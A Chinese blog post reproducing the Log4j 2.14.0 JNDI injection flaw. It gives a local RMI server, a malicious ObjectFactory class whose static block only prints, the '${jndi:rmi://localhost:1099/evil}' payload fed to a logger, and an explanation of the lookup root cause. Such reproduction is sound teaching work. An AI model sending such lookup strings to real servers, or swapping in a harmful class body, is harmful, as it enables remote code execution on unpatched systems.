Log4j漏洞复现及原理(附github源码)


1.背景

之前在公司收到Log4j2爆出一个重大漏洞,公司有大部分应用使用到了Log4j的2.14.0以下的版本,全公司内部程序员收到消息之后,加班加点升级Log4j的版本到2.14.1(这个版本也不稳定),在此记录一下。

2.Log4j的重大漏洞

我们复现一下Log4j 2.14.0版本中出现的安全问题。首先,我们新建一个Maven项目,引入Log4j的jar包

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
 
    <groupId>org.example</groupId>
    <artifactId>log4j2Demo</artifactId>
    <version>1.0-SNAPSHOT</version>
 
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
 
</project>


在resource目录下定义了log4j2.xml,表示log4j2的日志配置信息

<?xml version="1.0" encoding="UTF-8"?>
<!--status用来指定log4j本身的打印日志的级别.-->
<Configuration status="WARN">
    <Appenders>
        <!--指定打印到控制台的日志格式-->
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <!-- 默认打印日志级别为 info -->
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>


接下来是攻击者的自定义类EvilObj,在类加载时执行static静态代码块

package com.lx.rmi;
 
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
 
/**
 * 在这里实现了ObjectFactory接口,主要是针对EvilObj类无法转换为ObjectFactory对象,其他Java版本中可能不存在这个问题
 * @Author: Xin Liu
 * @Date: 2022/2/15
 */
public class EvilObj implements ObjectFactory {
    static{
        System.out.println("在哪执行的");
    }
 
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}


攻击者也实现了RMIServer(相当于注册中心)

package com.lx.rmi;
 
import com.sun.jndi.rmi.registry.ReferenceWrapper;
 
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
/**
 * @Author: Xin Liu
 * @Date: 2022/2/15
 */
public class RMIServer {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
 
            System.out.println("Create RMI Registry on port 1099");
            String url="localhost";
            Reference reference = new Reference("com.lx.rmi.EvilObj", "com.lx.rmi.EvilObj",url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}


在我们的服务端业务代码中我们使用到了log4j,用info()方法进行打印日志

package com.lx;
 
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
/**
 * @Author: Xin Liu
 * @Date: 2022/2/14
 */
public class Log4j2Test {
    private static final Logger LOGGER= LogManager.getLogger(Log4j2Test.class);
 
    public static void main(String[] args) {
        // 解决报错 The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String userName="${jndi:rmi://localhost:1099/evil}";
 
        LOGGER.info("Hello,{}",userName);
    }
}


结果在服务端的控制台中执行EvilObj类加载的输出



 3.漏洞原理分析

log4j的源码中执行了lookup方法,这个方法是导致本次漏洞的根因。

JNDI Naming Reference,命名引用

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference存根,所以客户端会先在本地classpath中去检查是否存在refClassName,如果不存在则去指定的url中动态加载,在log4j的服务器上执行加载类的实例化操作(静态变量、静态代码块)

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

4.参考视频

Log4j高危漏洞!具体原因解析!全网第一!

#面试那些事##面经##春招##Java##网络安全##校招##笔记##技术栈#
全部评论
点赞 回复 分享
发布于 2022-03-27 23:07

相关推荐

不愿透露姓名的神秘牛友
05-29 22:21
Offer1:小马智行,深圳,测试开发工程师,17.0k*16.0,Offer2:追觅科技,深圳,嵌入式工程师,18.0k*15.0,
嵌软狗都不学:各位base深圳的同事,作为也是并肩作战的一员,今天想站在管理视角,和大家开诚布公地聊一聊:从近几个月的上下班数据对比看来,我们发现一个明显的差异:深圳同事的在岗时间普遍比苏州同事短。很多深圳同事早上9点之后才到公司,晚上不到 20 点就下班了;而总部那边,20点半甚至 22 点后还有不少同事在办公室忙碌,特别是研发团队,加班更是常态。相信去过苏州的同事,对这种场景都不陌生。我很好奇,这是因为苏州工作任务太重还是咱们深圳同事效率真的高到能在更短时间内完成工作?MOVA在深圳成立分公司是为了吸引更优秀的人才贡献更多更高质的价值,公司管理层给我反馈的是深圳招到的多是行业的专家大拿,大部分都是薪资比苏州高的,而且我们办公的租金等也远高于苏州的..MOVA虽脱胎于强壮的集团母体不久,各业务板块尚未实现全面盈利,虽说公司管理层目光长远,不纠结当下的人才投入,但行业内的普遍标准是,员工创造的价值要达到公司雇佣成本的 15 倍以上。大家不妨自我审视一下,自己是否达到了这个标准?如果是抱着划水、按时打卡走人拿毛爷爷的心态那不适合来MOVA,那样过下去不但自己过得尴尬也会影响MOVA这个大船的攻城略地的速度.我并非鼓励大家盲目加班,而是倡导高效工作,拒绝无效忙碌,不要让项目进度因低效受影响,也别把精力浪费在和苏州同事拼打卡时长上,提倡更高的人效比;考虑到两地地域和交通差异,相信大家会找最适合自己发挥的工作方式(比如按时下班后1小时到家晚饭后继续未竟工作等..)大家在遵守公司规章的情况下尽情地体现自己的能力价值,为MOV!和深圳公司争光我们在这边才能更安心更有信心的工作下去;请客BU长、名部门长、项目管理和各业务单元负责人,全面梳理团队情况,及时评估成员工作负荷与成果质量,坚决清退划水害虫痕疫,践行公司价值观,相互监督,防止管理漏洞及渎职。感谢人家的理解,也请人家多担待我的直言不讳……
点赞 评论 收藏
分享
评论
3
9
分享

创作者周榜

更多
牛客网
牛客企业服务